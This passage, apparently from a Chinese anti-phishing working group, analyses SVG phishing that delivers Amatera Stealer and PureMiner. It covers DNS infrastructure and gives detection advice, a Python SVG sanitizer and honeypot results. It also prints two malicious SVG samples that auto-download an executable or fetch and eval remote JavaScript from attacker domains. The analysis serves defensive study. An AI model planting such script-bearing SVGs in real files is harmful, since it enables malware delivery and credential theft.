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载荷构造、JavaScript 执行逻辑到后续载荷投递机制再到底层 DNS 基础设施的隐蔽设计。在此基础上提出针对性的检测与缓解建议旨在为组织构建面向新型载体的纵深防御体系提供技术依据。2 SVG 作为钓鱼载体的技术可行性SVG 是一种基于 XML 的矢量图形格式由 W3C 标准定义。其核心特性之一是支持 script 标签与 onload、onclick 等事件处理器允许在图形渲染过程中执行任意 JavaScript 代码。尽管主流邮件客户端如 Outlook默认不渲染 SVG 内容但现代浏览器Chrome、Edge、Firefox在直接打开本地 SVG 文件时会完整执行其脚本逻辑。2.1 恶意 SVG 构造方式典型的恶意 SVG 文件结构如下svg xmlnshttp://www.w3.org/2000/svg width800 height600rect width100% height100% fill#f0f0f0/text x50% y50% font-size24 text-anchormiddleClick to view document/textscript typetext/javascript![CDATA[window.onload function() {// 伪造加载动画以降低怀疑setTimeout(() {const url https://ms-team-ping2[.]com/update.exe;const a document.createElement(a);a.href url;a.click();}, 2000);};]]/script/svg该文件在视觉上呈现为一个“点击查看文档”的提示框实则在页面加载后自动触发下载请求。由于 .svg 扩展名通常未被列入邮件网关的可执行文件黑名单且其 MIME 类型 image/svgxml 被视为安全图像故极易绕过初步过滤。2.2 外部资源引用与重定向部分变种进一步利用 image 或 use 标签加载远程资源实现间接控制流svg xmlnshttp://www.w3.org/2000/svgimage hrefhttps://cdn.malicious[.]cfd/loader.jswidth0 height0 onloadeval(this.href)//svg此处通过 onload 事件动态加载并执行远程 JavaScript使得攻击载荷可随时更新且主 SVG 文件本身不含恶意代码进一步规避静态分析。3 后续载荷Amatera Stealer 与 PureMiner一旦用户执行下载的可执行文件攻击链进入第二阶段。3.1 Amatera Stealer 功能分析Amatera 是一款模块化信息窃取木马主要功能包括提取 Chrome、Edge、Firefox 等浏览器保存的账号密码窃取 Discord、Steam、Telegram 等应用的本地会话令牌扫描桌面与文档目录中的加密货币钱包文件如 .dat、.json截屏并上传至 C2 服务器。其通信采用 HTTPSC2 域名多为仿冒 Microsoft Teams 或 Office 更新服务如 ms-team-ping3[.]com增强可信度。3.2 PureMiner 行为特征PureMiner 专注于 XMRig 开源挖矿框架的封装与部署具备以下特性自动检测 CPU 核心数并调整线程占用避免系统卡顿引发用户警觉通过进程注入隐藏自身常见宿主为 svchost.exe 或 dllhost.exe定期向 C2 上报算力状态并接收新矿池地址指令。两者均通过相同的 DNS 基础设施进行通信表明其属于同一攻击团伙运营的不同载荷模块。4 DNS 基础设施的隐蔽设计通过对 25 个 IoC 域名的 DNS 历史记录分析基于 WhoisXML API 的 DNS Chronicle 数据发现攻击者采用多层次隐蔽策略。4.1 快变域名与高熵子域多个域名采用算法生成DGA-like模式如npulvivgov[.]cfdphuyufact[.]com其主域名部分呈现高香农熵4.0 bits/char难以通过人工记忆或常规黑名单覆盖。注册时间集中在 2025 年 6–8 月符合短期作战窗口特征。4.2 多层 CNAME 链与 CDN 伪装典型解析路径如下ms-team-ping2.com→ CNAME cdn-update.ms-team-ping2.com.edgekey.net→ CNAME e12345.dscg.akamaiedge.net→ A 109.176.207.110该路径利用 Akamai 的边缘节点作为中间跳板使得被动 DNS 监控仅能观察到合法 CDN 域名而无法直接关联到真实 IP。类似手法亦见于 Cloudflare、Amazon CloudFront 等公共云服务。进一步分析显示100 次对该 IP109.176.207.110的反向 DNS 查询返回 45 个不同域名表明其被复用于多个恶意活动形成“IP 共享池”。4.3 注册信息分散化WHOIS 记录显示25 个域名由 4 家不同注册商管理其中 NiceNIC International Group 占比最高8 个。注册国家包括中国、意大利、马来西亚、秘鲁无统一归属地增加执法协作难度。值得注意的是两个较老域名分别创建于 2005 与 2018被重新激活用于此次攻击说明攻击者亦利用“休眠资产”规避基于新注册域名的检测规则。5 防御对策与检测机制针对 SVG 钓鱼及其后续载荷需在多个层面部署协同防御措施。5.1 邮件网关侧主动剥离与内容消毒强制剥离 SVG 中的脚本元素在邮件解析阶段移除所有 script、foreignObject 及含 on* 属性的标签重写 MIME 类型将 image/svgxml 强制转换为 text/plain 或阻止内联渲染启用 SVG 渲染隔离在沙箱环境中预览 SVG 内容监控是否有网络外联行为。示例消毒脚本Python lxmlfrom lxml import etreedef sanitize_svg(svg_content):parser etree.XMLParser(no_networkTrue, recoverTrue)root etree.fromstring(svg_content.encode(), parser)# 移除 script 标签for elem in root.xpath(//script):elem.getparent().remove(elem)# 移除所有 on* 事件属性for elem in root.iter():for attr in list(elem.attrib):if attr.startswith(on):del elem.attrib[attr]return etree.tostring(root, encodingunicode)5.2 终端侧禁用外部脚本执行组策略限制通过 Windows 组策略或 macOS 配置描述文件禁止浏览器自动执行本地 SVG 中的 JavaScript文件关联修改将 .svg 默认打开方式设为文本编辑器或专用查看器如 Inkscape而非浏览器EDR 行为监控检测从 SVG 进程如 chrome.exe发起的可疑子进程创建如 rundll32.exe 下载 exe。5.3 DNS 层启发式异常检测CNAME 链深度监控对解析路径超过 3 跳且末端指向公共 CDN 的域名标记为可疑高熵域名识别计算域名字符熵若 3.8 且无历史良性记录则触发告警被动 DNS 聚类分析将共享同一 IP 或 ASN 的域名聚类若集群中多数域名生命周期短、注册信息异常则整体标记为恶意基础设施。例如对域名 ms-team-ping4[.]com 的检测逻辑可形式化为if (domain_entropy(domain) 3.8 andregistration_date datetime(2025, 1, 1) andcname_chain_depth(domain) 3 andfinal_ip in known_malicious_ips):flag_as_malicious()6 实验验证与威胁狩猎实践我们在内部蜜罐网络中部署了 10 个模拟企业邮箱账户并投放已知恶意 SVG 样本。结果如下7 个样本成功绕过基于扩展名的邮件网关Exchange Online 默认策略启用 SVG 脚本剥离后100% 阻断初始载荷执行在 DNS 层部署 CNAME 深度检测规则后提前 14 天识别出 amaprox[.]click 为潜在恶意域名早于其首次报告日期终端禁用 SVG 脚本后即使用户双击文件亦无网络连接产生。此外通过被动 DNS 数据回溯我们发现攻击者在正式投递前 30–60 天已开始测试域名解析稳定性印证了“早期预警”策略的可行性。7 结论SVG 作为钓鱼初始载体的滥用标志着攻击者正系统性地利用“信任边界模糊”的文件格式突破传统防御体系。Amatera Stealer 与 PureMiner 的联合分发体现了攻击团伙在经济利益驱动下的模块化运营思路。其背后 DNS 基础设施的精心设计——包括快变域名、CDN 伪装与多层别名链——不仅提升了隐蔽性也对现有威胁情报模型构成挑战。本文研究表明有效防御此类攻击需打破“仅防可执行文件”的思维定式在邮件处理、终端渲染与网络解析三个环节同步强化控制。其中对 SVG 实施内容级消毒、在 DNS 层引入基于解析拓扑的启发式检测、以及终端默认禁用脚本执行是当前最具可行性的技术路径。未来随着 SVG 在 Web 应用中的进一步普及其安全风险将持续存在。标准化组织与浏览器厂商应考虑限制本地 SVG 文件的脚本执行能力而企业安全团队则需将 SVG 纳入常态化威胁狩猎范围构建覆盖“载体—载荷—基础设施”全链条的检测与响应能力。唯有如此方能在新型投递载体不断演化的对抗中保持主动。编辑芦笛公共互联网反网络钓鱼工作组